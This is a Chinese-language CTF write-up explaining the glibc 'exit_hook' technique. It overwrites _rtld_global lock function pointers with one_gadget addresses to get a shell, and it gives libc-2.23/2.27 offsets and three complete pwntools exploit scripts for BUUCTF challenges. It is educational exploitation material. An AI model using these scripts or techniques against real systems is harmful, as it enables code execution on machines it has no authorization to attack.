exit_hook在pwn題中的應用


  以前只接觸過malloc_hook,free_hook,大概意思就是在調用malloc和free的時候會先看看里面有沒有東西,有的話就會執行。以前在看一些師傅們博客的時候有看到過exit_hook,前幾天就研究了一下,這篇來做個總結。

  首先我們自己寫一個程序,調試一下exit是怎么執行的。

1 #include<stdio.h>
2 
3 void main()
4 {
5     printf("bhxdn\n");
6     exit(0);
7 }

  在第六行下斷點看一下。

  這里可以看到是執行了__run_exit_handlers。進入這個函數,看看它調用了哪些函數。

  這里顯示其中調用的一個函數,是_dl_fini。這里為了方便看,我們直接看_dl_fini的關鍵源碼。

 1 #ifdef SHARED
 2   int do_audit = 0;
 3  again:
 4 #endif
 5   for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
 6     {
 7       /* Protect against concurrent loads and unloads.  */
 8       __rtld_lock_lock_recursive (GL(dl_load_lock));
 9 
10       unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
11       /* No need to do anything for empty namespaces or those used for
12      auditing DSOs.  */
13       if (nloaded == 0
14 #ifdef SHARED
15       || GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit
16 #endif
17       )
18     __rtld_lock_unlock_recursive (GL(dl_load_lock));

  看8行和18行,發現是調用了 __rtld_lock_lock_recursive 和 __rtld_lock_unlock_recursive 。

  這里我們看一下這兩個函數在哪。

  這兩個函數在_rtld_global結構體里面。只要我們將其中一個指向one_gadgets,在CTF中,就可以拿到shell了。

  接下來就是計算偏移了,發現在64位libc-2.23中,這兩個指針在結構體中的偏移分別是3848和3856。為了方便,我們可以直接記住這兩個指針和libc的基地址之間的距離。 

在libc-2.23中
exit_hook = libc_base+0x5f0040+3848

exit_hook = libc_base+0x5f0040+3856

在libc-2.27中

exit_hook = libc_base+0x619060+3840

exit_hook = libc_base+0x619060+3848

  這樣一來,只要知道libc版本和任意地址的寫,我們可以直接寫這個指針,執行exit后就可以拿到shell了。(其實不用非要執行exit,就程序正常返回也可以執行到這里)

ciscn_2019_n_7

  64位程序,保護全開,輸入666可以直接泄露libc基地址。在輸入name時候可以輸入0x10大小,可以溢出。就可以改一個指針,並且往里面寫值。

  直接把exit_hook改成one_gadgets拿shell。

 1 from pwn import *
 2 
 3 p = process('./pwn')
 4 #p = process(['./pwn'],env={"LD_PRELOAD":"./libc-2.23.so"})
 5 #libc = ELF('./libc-2.23.so')
 6 libc = ELF('./libc.so.6')
 7 elf = ELF('./pwn')
 8 context.log_level = 'debug'
 9 
10 def duan():
11     gdb.attach(p)
12     pause()
13 
14 def add(size,name):
15     p.sendlineafter('choice-> \n','1')
16     p.sendlineafter('Length: \n',str(size))
17     p.sendafter('name:\n',name)
18 
19 def edit(name,content):
20     p.sendlineafter('choice-> \n','2')
21     p.sendafter('name:\n',name)
22     p.sendafter('contents:\n',content)
23 
24 def show():
25     p.sendlineafter('choice-> \n','3')
26 
27 def exit():
28     p.sendlineafter('choice-> \n','4')
29 
30 def secret():
31     p.sendlineafter('choice-> \n','666')
32 
33 og=[0x45226,0x4527a,0xf0364,0xf1207]
34 #og=[0x45216,0x4526a,0xf02a4,0xf1147]
35 secret()
36 libc_base = int(p.recv(14),16)-libc.symbols['puts']
37 print 'libc_base-->'+hex(libc_base)
38 exit_hook = libc_base+0x5f0040+3848
39 print 'exit_hook-->'+hex(exit_hook)
40 shell = libc_base+og[3]
41 add(0x30,'aaaaaaaa'+p64(exit_hook))
42 edit('aaaaaaaa',p64(shell))
43 sleep(0.5)
44 p.sendline('a')
45 p.interactive()

hctf2018_the_end

  開局直接給libc地址,然后就是有五次機會可以任意寫入一個字節。直接往exit_hook里面寫one_gadgets拿shell。

 1 from pwn import *
 2 
 3 #p = process('./pwn')
 4 p = process(['./pwn'],env={'LD_PRELOAD':'./libc-2.27-buu.so'})
 5 #libc = ELF('./libc.so.6')
 6 libc = ELF('./libc-2.27-buu.so')
 7 context.log_level = 'debug'
 8 
 9 #og = [0x4f365,0x4f3c2,0xe58b8,0xe58bf,0xe58c3,0x10a45c,0x10a468]
10 og = [0x4f2c5,0x4f322,0xe569f,0xe585f,0xe5858,0xe5863,0x10a38c,0x10a398]
11 
12 p.recvuntil('gift ')
13 libc_base = int(p.recv(14),16)-libc.symbols['sleep']
14 exit_hook = libc_base+0x619060+3840
15 print 'libc_base-->'+hex(libc_base)
16 print 'exit_hook-->'+hex(exit_hook)
17 shell = libc_base+og[2]
18 for i in range(len(og)):
19     print 'i-->'+hex(libc_base+og[i])
20 
21 for i in range(5):
22     p.send(p64(exit_hook+i))
23     sleep(0.1)
24     p.send(p64(shell)[i])
25     sleep(0.1)
26 
27 p.interactive()

bbctf_2020_write

  還是開局直接給libc地址,可以任意地址寫,按道理是有超級多種方法拿shell的。

 1 from pwn import *
 2 
 3 #p = process('./pwn')
 4 p = process(['./pwn'],env={'LD_PRELOAD':'./libc-2.27-buu.so'})
 5 #libc = ELF('./libc.so.6')
 6 libc = ELF('./libc-2.27-buu.so')
 7 context.log_level = 'debug'
 8 
 9 def duan():
10     gdb.attach(p)
11     pause()
12 
13 def write(ptr,content):
14     p.sendlineafter('uit\n','w')
15     p.sendlineafter('ptr: ',ptr)
16     p.sendlineafter('val: ',content)
17 
18 def quit():
19     p.sendlineafter('uit\n','q')
20 
21 #og = [0x4f365,0x4f3c2,0xe58b8,0xe58bf,0xe58c3,0x10a45c,0x10a468]
22 og = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a38c,0x10a398]
23 
24 p.recvuntil('puts: ')
25 libc_base = int(p.recv(14),16)-libc.symbols['puts']
26 print 'libc_base'+hex(libc_base)
27 exit_hook=libc_base+0x619060+3840
28 print 'exit_hook-->'+hex(exit_hook)
29 shell = libc_base+og[2]
30 for i in range(len(og)):
31     print str(i)+'-->'+hex(libc_base+og[i])
32 
33 write(str(exit_hook),str(shell))
34 quit()
35 p.interactive()

參考:https://blog.csdn.net/qq_43116977/article/details/105485947

上述例子均可在BUUCTF上復現。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM